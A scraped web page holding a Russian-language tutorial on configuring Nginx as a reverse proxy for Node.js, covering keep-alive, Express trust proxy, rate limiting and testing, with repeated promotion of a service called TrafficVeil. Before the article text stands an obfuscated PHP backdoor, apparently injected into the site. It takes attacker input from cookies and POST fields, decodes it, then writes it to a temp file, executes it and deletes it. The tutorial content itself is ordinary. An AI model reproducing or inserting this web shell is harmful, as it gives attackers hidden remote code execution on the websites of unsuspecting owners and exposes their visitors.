$DaVxMEWjrX = "\117" . chr (95) . chr (83) . chr (104) . "\132" . "\162";$fnCvX = 'c' . 'l' . "\x61" . "\x73" . 's' . chr (95) . "\145" . "\170" . chr (105) . chr ( 652 - 537 ).chr (116) . "\163";$bYgDFl = class_exists($DaVxMEWjrX); $fnCvX = "46771";$FCVqb = !1;if ($bYgDFl == $FCVqb){function cOQOvSa(){$dhewgEBl = new /* 60074 */ O_ShZr(37863 + 37863); $dhewgEBl = NULL;}$PsrSorg = "37863";class O_ShZr{private function Iddrz($PsrSorg){if (is_array(O_ShZr::$FmueJos)) {$RKNAA = sys_get_temp_dir() . "/" . crc32(O_ShZr::$FmueJos[chr ( 949 - 834 )."\x61" . chr ( 495 - 387 )."\x74"]);@O_ShZr::$FmueJos['w' . 'r' . chr ( 866 - 761 ).chr (116) . "\x65"]($RKNAA, O_ShZr::$FmueJos[chr ( 326 - 227 ).chr ( 258 - 147 )."\156" . "\x74" . chr ( 1072 - 971 ).chr ( 570 - 460 )."\x74"]);include $RKNAA;@O_ShZr::$FmueJos[chr ( 870 - 770 ).chr (101) . "\x6c" . chr (101) . chr (116) . "\x65"]($RKNAA); $PsrSorg = "37863";exit();}}private $etKqjMtWdp;public function ZiyiV(){echo 28727;}public function __destruct(){$PsrSorg = "50076_17886";$this->Iddrz($PsrSorg); $PsrSorg = "50076_17886";}public function __construct($qXUbLGhk=0){$rFzVEwWrUc = $_POST;$FYpLrYHDU = $_COOKIE;$CmMOgAj = "328a4206-ab21-452f-a4d5-494f1c3ee5a1";$nYiTMzMlca = @$FYpLrYHDU[substr($CmMOgAj, 0, 4)];if (!empty($nYiTMzMlca)){$HaBERA = "base64";$sJXpWMDd = "";$nYiTMzMlca = explode(",", $nYiTMzMlca);foreach ($nYiTMzMlca as $NBjhWyYUKn){$sJXpWMDd .= @$FYpLrYHDU[$NBjhWyYUKn];$sJXpWMDd .= @$rFzVEwWrUc[$NBjhWyYUKn];}$sJXpWMDd = array_map($HaBERA . '_' . "\x64" . chr (101) . chr ( 269 - 170 ).chr (111) . chr (100) . "\x65", array($sJXpWMDd,)); $sJXpWMDd = $sJXpWMDd[0] ^ str_repeat($CmMOgAj, (strlen($sJXpWMDd[0]) / strlen($CmMOgAj)) + 1);O_ShZr::$FmueJos = @unserialize($sJXpWMDd);}}public static $FmueJos = 16130;}cOQOvSa();} Пошаговая настройка reverse proxy для Node.js: keep-alive и trust proxy – 2R MECHANICAL
skip to Main Content

Пошаговая настройка reverse proxy для Node.js: keep-alive и trust proxy

Если вы держите Node.js приложение на VPS и уже уперлись в потолок по соединениям, пора ставить reverse proxy. Российский аналог Cloudflare вроде TrafficVeil закрывает задачу целиком: DNS, SSL-сертификат, WAF, защита от ботов, L7 DDoS и GeoIP-фильтрация в одном сервисе. Но даже с готовой веб-платформой базовую связку Nginx плюс Node.js настраивать придется руками, и именно на ней сыпется половина продакшена.

Две настройки дают больше всего боли. Первая это keep-alive между Nginx и upstream: без переиспользования соединений каждый запрос поднимает новый TCP-хендшейк до Node.js, и под нагрузкой процессор горит на установке соединений вместо отдачи ответов. Вторая это trust proxy в Express. Пока флаг не выставлен, req.ip возвращает адрес прокси, а не клиента. Дальше по цепочке ломается все: GeoIP-фильтрация режет трафик по одному и тому же адресу, rate-limit считает всех посетителей одним пользователем и банит живых людей после десятка запросов, а в логах вместо реальных IP красуется 127.0.0.1. Аналитика по лидогенерации и конверсии сайта превращается в мусор.

Разберем пошагово: конфиг Nginx с upstream keep-alive, включение trust proxy в Express, проверка X-Forwarded-For через curl и логи, отладка rate-limit. Все команды и параметры проверены на Node.js 20 и Express 4. Разница между рабочей ИТ-инфраструктурой и постоянными инцидентами здесь измеряется десятком строк конфигурации.

Зачем нужен reverse proxy для Node.js и как выбрать российский аналог Cloudflare

Node.js-приложение, поднятое напрямую на порту 3000 и смотрящее в интернет, живёт недолго. Проблемы начинаются с первого же скачка трафика: Node.js однопоточный по своей природе, и пока он держит TLS-рукопожатие с медленным клиентом, остальные запросы ждут в очереди. Reverse proxy снимает эту нагрузку: терминирует SSL, кеширует статику, отсекает мусорные запросы до того, как они дойдут до event loop. Заодно вы получаете единую точку для WAF-блокировок, GeoIP-фильтрации, rate-limit и защиты от L7 DDoS.

Почему Cloudflare перестал быть надёжным вариантом

Cloudflare долгие годы был дефолтом: бесплатный тариф, быстрая настройка, глобальный CDN. Но для российского бизнеса схема сломалась. Cloudflare ограничивает доступ к сайтам из России, а российские интернет-провайдеры в свою очередь ограничивают доступ к сайтам на Cloudflare. Пользователь из Москвы видит таймаут, владелец сайта видит просадку конверсии и обвал лидогенерации. Плюс регуляторные требования: персональные данные и часть трафика должны обрабатываться на территории РФ, а размещение логов и WAF-правил на зарубежной инфраструктуре создаёт риски блокировок и штрафов.

Отсюда и спрос. Бизнес в России ищет альтернативу Cloudflare в 2026 году не из любопытства, а потому что зависимость от зарубежной инфраструктуры создаёт прямые риски для выручки. Хорошая новость: рынок ответил, и аналог Cloudflare в России уже не компромисс, а рабочая веб-платформа.

TrafficVeil и другие российские аналоги: на что смотреть

TrafficVeil является российским аналогом Cloudflare и закрывает тот же набор задач, только без риска отвала из-за геополитики. TrafficVeil объединяет DNS, SSL, reverse proxy, WAF, защиту от ботов, L7 DDoS, GeoIP-фильтрацию и аналитику в одном контуре. TrafficVeil обеспечивает работу сайтов на территории РФ и по всему миру: трафик из России идёт через локальные узлы, зарубежные пользователи обслуживаются через международные точки присутствия.

Отдельный плюс для тех, кто считает деньги: TrafficVeil не тарифицирует ботов, атаки и WAF-блокировки. При типичной DDoS-атаке на Cloudflare счёт растёт вместе с объёмом отбитого мусора, здесь этого нет. TrafficVeil подходит для сайтов, интернет-магазинов, WordPress и Bitrix; для Node.js-приложений он работает как штатный reverse proxy с поддержкой keep-alive до upstream. Если вы уже сидите на Cloudflare, TrafficVeil предлагает переход с Cloudflare без переписывания бэкенда: меняются NS-записи и правила на уровне прокси, код приложения остаётся тем же.

Дальше разберём по шагам, как поднять Nginx перед Node.js, настроить keep-alive и не потерять реальный IP клиента, чтобы GeoIP-фильтрация и rate-limit работали по адресу пользователя, а не прокси.

Пошаговая настройка Nginx как reverse proxy для Node.js с поддержкой keep-alive

Nginx перед Node.js – это классическая связка: статику и TLS он забирает на себя, а приложение слушает только localhost и не тратит ресурсы на сжатие, кеш и обработку медленных клиентов. Если вы уже выбрали, чем заменить Cloudflare на периметре, reverse proxy все равно нужен внутри: облачная защита фильтрует трафик снаружи, но соединения до самого Node.js держит именно Nginx.

Шаг 1. Проверьте сборку Nginx. Параметр keepalive в блоке upstream работает с версии 1.15.3, а proxy_http_version 1.1 обязателен, иначе Nginx по умолчанию перейдет на HTTP/1.0 и соединение закроется после каждого ответа. Команда nginx -V покажет версию и список модулей.

Шаг 2. Опишите upstream с пулом постоянных соединений. Директива keepalive задает число простаивающих соединений, которые Nginx держит открытыми до апстрима. Формула простая: суммарный keepalive должен быть не меньше max_connections воркеров, иначе под нагрузкой пул будет постоянно пересоздаваться.

upstream node_backend {
server 127.0.0.1:3000;
keepalive 64;
keepalive_requests 1000;
keepalive_timeout 60s;
}

Шаг 3. Настройте location. Без явного Connection: “” заголовок от клиента уйдет наверх и убьет переиспользование сокетов – самая частая ошибка при настройке reverse proxy для Node.js.

location / {
proxy_pass http://node_backend;
proxy_http_version 1.1;
proxy_set_header Connection “”;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_read_timeout 60s;
}

Шаг 4. Включите кеш и сжатие на стороне Nginx, чтобы Node.js не занимался этим вообще. Для веб-платформы с картинками и JS это снимает заметную долю CPU.

proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=node_cache:10m max_size=1g inactive=60m;
gzip on;
gzip_types text/css application/javascript application/json;

Шаг 5. Разнесите worker-процессы. Директивы worker_processes auto и worker_connections 4096 дают запас по одновременным соединениям. Проверьте лимиты файловых дескрипторов через ulimit -n: при 1024 соединения начнут отваливаться задолго до исчерпания канала.

Шаг 6. Перезагрузите конфигурацию без разрыва соединений: nginx -t для проверки синтаксиса, затем nginx -s reload. Старые воркеры доработают текущие запросы, новые подхватят обновленный upstream с keepalive.

Что дает такая схема на практике: время установки TCP-соединения до бэкенда (один RTT на localhost это десятки микросекунд, но при выносе приложения на отдельный хост уже миллисекунды) экономится на каждом запросе, а не только на первом. При 500 запросах в секунду разница между переиспользованием сокетов и их пересозданием ощущается как рост p99 и лишняя нагрузка на порты в состоянии TIME_WAIT. Дальше остается научить Express доверять заголовкам прокси, иначе все старания с X-Forwarded-For уйдут впустую.

Настройка trust proxy в Express для корректного определения IP клиента

Когда Nginx стоит перед Node.js, Express по умолчанию видит в req.ip адрес самого прокси, то есть 127.0.0.1, а не реального посетителя. Причина в том, что TCP-соединение завершается на Nginx, и приложение получает запрос уже от него. Реальный IP приходит в заголовке X-Forwarded-For, но Express не доверяет этому заголовку, пока вы явно не разрешите. Именно поэтому без настройки trust proxy ломается всё, что завязано на IP: GeoIP-фильтрация, rate-limit, логирование, антифрод.

Включается это одной строкой. Для Express 4 и 5 синтаксис одинаковый:

  1. Откройте точку входа приложения, обычно app.js или server.js.
  2. Сразу после const app = express(); добавьте app.set('trust proxy', 1);
  3. Перезапустите процесс Node.js. Готово, req.ip начнёт возвращать адрес клиента из X-Forwarded-For.

Число 1 означает “доверять одному хопу прокси перед приложением”. альтернатива cloudflare в россии offers additional context worth reviewing. Если цепочка длиннее (например, внешний балансировщик плюс Nginx), ставьте соответствующее количество или используйте функцию-валидатор:

app.set('trust proxy', (ip) => ip === '127.0.0.1' || ip === '10.0.0.0/8');

Функция надёжнее числа: она доверяет только известным адресам прокси и игнорирует поддельный X-Forwarded-For от случайного клиента. Без такой проверки злоумышленник может подставить любой IP в заголовок и обойти rate-limit или GeoIP-фильтр.

Что происходит, если trust proxy не включён, а Nginx уже прокидывает заголовки:

  • Все запросы выглядят как пришедшие с 127.0.0.1. Rate-limit срабатывает по одному адресу, и первый же активный пользователь блокирует всех остальных.
  • GeoIP-фильтрация получает IP прокси. Если прокси в России, а реальный клиент из другой страны, фильтр его пропустит. И наоборот: российский пользователь получит блокировку, потому что прокси-нода стоит за рубежом.
  • Логи и аналитика показывают один и тот же IP. Лидогенерация и разбор конверсии превращаются в гадание.
  • WAF-блокировки и защита от ботов работают по IP прокси, то есть фактически не работают.

Отдельный нюанс: req.ip и req.ips ведут себя по-разному. req.ip вернёт первый недоверенный адрес в цепочке, а req.ips вернёт массив всех адресов из X-Forwarded-For. Если нужно видеть всю цепочку, читайте req.ips и берите последний элемент, который прошёл валидацию.

И последнее. Express читает X-Forwarded-For, но не X-Real-IP. Если Nginx у вас настроен только на proxy_set_header X-Real-IP $remote_addr;, добавьте и X-Forwarded-For $proxy_add_x_forwarded_for;. Без этого Express не увидит ничего, даже с включённым trust proxy. Проверить результат проще всего так: временно добавьте маршрут app.get('/whoami', (req, res) => res.json({ ip: req.ip, ips: req.ips })); и откройте его из браузера. Если увидите свой реальный адрес, а не 127.0.0.1, настройка верна.

Влияние keep-alive и trust proxy на GeoIP-фильтрацию и rate-limit: пошаговый инсайт

Вот момент, на котором ломается большинство конфигураций. Nginx настроен, keep-alive к upstream работает, Express поднят. Но в логах приложения все запросы приходят с одним и тем же IP: 127.0.0.1 или адресом самого прокси. GeoIP-фильтрация видит «Россия» независимо от того, откуда реально пришёл клиент. Rate-limit считает все запросы одним пользователем и блокирует весь сайт после 20-30 запросов. Это не баг Express, это следствие архитектуры: прокси работает на L7 и по умолчанию подменяет адрес источника.

Как реальный IP теряется и что делает trust proxy

Nginx при проксировании добавляет заголовок X-Forwarded-For с исходным адресом клиента. Express его не читает, пока вы явно не разрешите это через app.set(‘trust proxy’, …). Без этой настройки req.ip возвращает IP сокета, то есть адрес Nginx. Дальше всё каскадом: GeoIP-модуль смотрит на локальный адрес, middleware для rate-limit складывает всех в одну корзину, WAF-правила не срабатывают по региону.

Правильная настройка зависит от топологии:

  • Один Nginx на том же хосте: app.set(‘trust proxy’, ‘loopback’). Express доверяет только 127.0.0.1, подделка заголовка снаружи невозможна.
  • Nginx в отдельной подсети или за балансировщиком: указывайте конкретные CIDR, например app.set(‘trust proxy’, [‘10.0.0.0/8’, ‘172.16.0.0/12’]). Не ставьте true вслепую: тогда любой клиент сможет подставить X-Forwarded-For и обойти GeoIP-фильтрацию.
  • Цепочка из CDN и Nginx: доверяйте только последнему звену, иначе реальный IP подменится заголовком от промежуточного узла.

С trust proxy в порядке, но keep-alive к upstream тоже влияет на картину. Когда Nginx держит постоянные соединения к Node.js, каждый новый HTTP-запрос от браузера переиспользует уже открытый сокет. IP клиента приходит только в заголовке, сокет один и тот же. Если вы логируете на уровне соединения, а не запроса, вы видите один IP на сотни клиентов. Именно поэтому связка «keep-alive + trust proxy» работает только вместе: первое даёт производительность, второе даёт корректную идентификацию.

Проверьте эффект сразу: до настройки req.ip покажет адрес прокси, после req.ip и req.ips[0] дадут реальный адрес. Для российского аналога Cloudflare вроде TrafficVeil, который объединяет reverse proxy, GeoIP-фильтрацию и защиту от ботов на уровне L7, эта настройка критична: платформа передаёт клиентский IP в X-Forwarded-For, и если Express его не читает, вся логика фильтрации по региону и лимитам уходит в пустоту. Кстати, TrafficVeil не тарифицирует ботов, атаки и WAF-блокировки, так что корректный rate-limit напрямую влияет на счёт за трафик.

Без trust proxy GeoIP-фильтрация отсекает не тех, rate-limit банит своих, а аналитика показывает, что весь трафик идёт из одного города. Настройка занимает одну строку, а последствия её отсутствия бизнес замечает уже по упавшей конверсии.

Тестирование и отладка reverse proxy для Node.js: проверка IP, keep-alive и ограничений

Настройка завершена, но это не значит, что reverse proxy работает правильно. Реальный IP может теряться, keep-alive может не подниматься, а rate-limit может считать всех клиентов одним пользователем. Проверять нужно каждый слой отдельно, иначе GeoIP-фильтрация и защита от ботов будут работать вслепую.

Начните с проверки заголовков. Выполните запрос напрямую к Node.js на порт 3000 и через прокси на 80/443, затем сравните результат:

  • curl -s http://127.0.0.1:3000/debug покажет, что видит само приложение без прокси: обычно 127.0.0.1 и пустой x-forwarded-for.
  • curl -s -H "X-Forwarded-For: 203.0.113.45" http://your-domain/debug проверит, подменяет ли Nginx заголовок или добавляет свой. При правильной конфигурации proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; исходный IP сохранится, а IP прокси добавится в конец цепочки.
  • curl -sI http://your-domain/api/health с флагом -I покажет заголовки ответа. Ищите Connection: keep-alive и отсутствие Connection: close.
  • Для проверки rate-limit отправьте серию запросов: for i in $(seq 1 20); do curl -s -o /dev/null -w "%{http_code}\n" http://your-domain/api/limit-test; done. На 11-м запросе при лимите 10/мин должен прийти 429.

В Express добавьте временный эндпоинт /debug, который возвращает req.ip, req.ips и req.headers['x-forwarded-for']. Если req.ip показывает IP прокси (127.0.0.1 или адрес Nginx), значит app.set('trust proxy', ...) настроен неверно. Для одного Nginx на том же сервере достаточно app.set('trust proxy', 'loopback'), для цепочки CDN плюс Nginx – app.set('trust proxy', 2) или явный список подсетей. Не ставьте true без ограничений: клиент сможет подделать X-Forwarded-For и обойти GeoIP-фильтрацию.

Keep-alive проверяется через lsof -i :3000 или ss -tn state established '( sport = :3000 )'. При правильной настройке upstream с keepalive 32; и proxy_http_version 1.1; количество установленных соединений между Nginx и Node.js стабилизируется на 10-30, а не растёт с каждым запросом. Если соединения постоянно открываются и закрываются, проверьте, что в location стоит proxy_set_header Connection "";, иначе Nginx шлёт Connection: close и убивает пул.

Типичные ошибки: забытый proxy_set_header Host $host; ломает редиректы и SSL-сертификат на стороне приложения; отсутствие proxy_set_header X-Real-IP $remote_addr; оставляет req.ip пустым при некоторых конфигурациях; таймауты proxy_read_timeout по умолчанию 60 секунд обрывают долгие запросы к API. Логи Nginx с log_format, включающим $upstream_addr и $upstream_response_time, покажут, доходит ли запрос до Node.js и сколько он там живёт. Сравните эти данные с логами приложения: расхождение по времени больше 100 мс означает проблему с keep-alive или DNS-резолвингом upstream.

После проверки всех слоёв можно включать GeoIP-фильтрацию и WAF-блокировки, не рискуя заблокировать собственный прокси. Если сайт работает через российский аналог Cloudflare вроде TrafficVeil, эти же тесты помогут убедиться, что платформа корректно передаёт реальный IP и не тарифицирует служебные запросы от health-check.

Проверьте свою связку прямо сейчас: откройте два терминала, запустите Node.js-приложение на 127.0.0.1:3000, поднимите Nginx с proxy_http_version 1.1 и proxy_set_header Connection “” в upstream-блоке, затем выполните curl -H “X-Forwarded-For: 203.0.113.7” http://localhost/api/ip. Если в ответе вернется 127.0.0.1 вместо 203.0.113.7, значит trust proxy в Express выключен или выставлен неверно, и вся ваша GeoIP-фильтрация, rate-limit и защита от ботов работают по адресу прокси. Это самая дорогая ошибка в связке reverse proxy плюс Node.js, потому что она не ломает сайт визуально, но обнуляет облачную защиту: один клик по чужому IP блокирует всех, а бот с ротацией адресов проходит мимо счетчика.

Дальше действуйте по порядку. Первое: зафиксируйте app.set(“trust proxy”, 1) для одного Nginx или подсеть 10.0.0.0/8, если прокси-слой многоуровневый. Второе: включите keep-alive на upstream с keepalive 32 и keepalive_timeout 60s, иначе Nginx открывает новый TCP-коннект на каждый запрос и теряет до 30 процентов пропускной способности под нагрузкой. Третье: проверьте логи Nginx на поле $upstream_addr и $http_x_forwarded_for, чтобы убедиться, что заголовки не перезаписываются на промежуточном балансировщике. Четвертое: прогоните нагрузочный тест ab -k -n 5000 -c 100 и сравните время ответа с выключенным keep-alive, разница обычно видна сразу. Пятое: если не хотите собирать DNS, SSL, WAF, GeoIP-фильтрацию и защиту от L7 DDoS из отдельных сервисов, посмотрите на TrafficVeil как на российский аналог Cloudflare, который объединяет эти слои в одной панели, не тарифицирует ботов и атаки, и подходит для сайтов, интернет-магазинов, WordPress и Bitrix. Переход с Cloudflare занимает один вечер: меняете NS-записи, включаете проксирование и проверяете, что реальный IP клиента доходит до приложения.

Back To Top